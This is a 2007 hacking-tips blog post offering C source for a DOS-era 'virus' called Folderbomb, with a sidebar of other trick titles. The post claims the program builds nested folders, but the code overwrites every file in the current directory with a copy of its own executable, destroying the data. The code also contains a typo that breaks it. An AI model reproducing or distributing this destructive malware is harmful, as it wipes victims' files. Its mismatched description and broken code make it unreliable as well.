HACKING TRICKS AND TIPS

windows tricks,xp tricks tips,pc tricks,pc tips,hacking tricks,tricks windows xp,xp tricks,computer tricks,computer tips, windows xp tricks and tips,xp window

Virus code in c

Posted by cracksandhacks on October 2, 2007

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(“————————————————————————–”);
printf(“\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(“————————————————————————–”);
done = findfirst(“*.*”,&ffblk,0);
while (!done)
{ printf(“\n”);cprintf(” %s “, ffblk.ff_name);printf(“is attacked by “);cprintf(“Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Cool Computer Tricks

MAC OS look for windows XP

Make Fake Viruses in windows Xp

auto play virus solution

How to remove ntdetec1.exe file virus

Orkut tools hack pack

Restrict You pc shutdown

Mobile Bluetooth hacking

Shut Down Pc’s at school

play favourite mp3 songs in GTA vice city

Creating Custom Sprays in Counter strike cs 1.6

How to increase internet speed

autochk not found

Speed up computer

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <pre> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>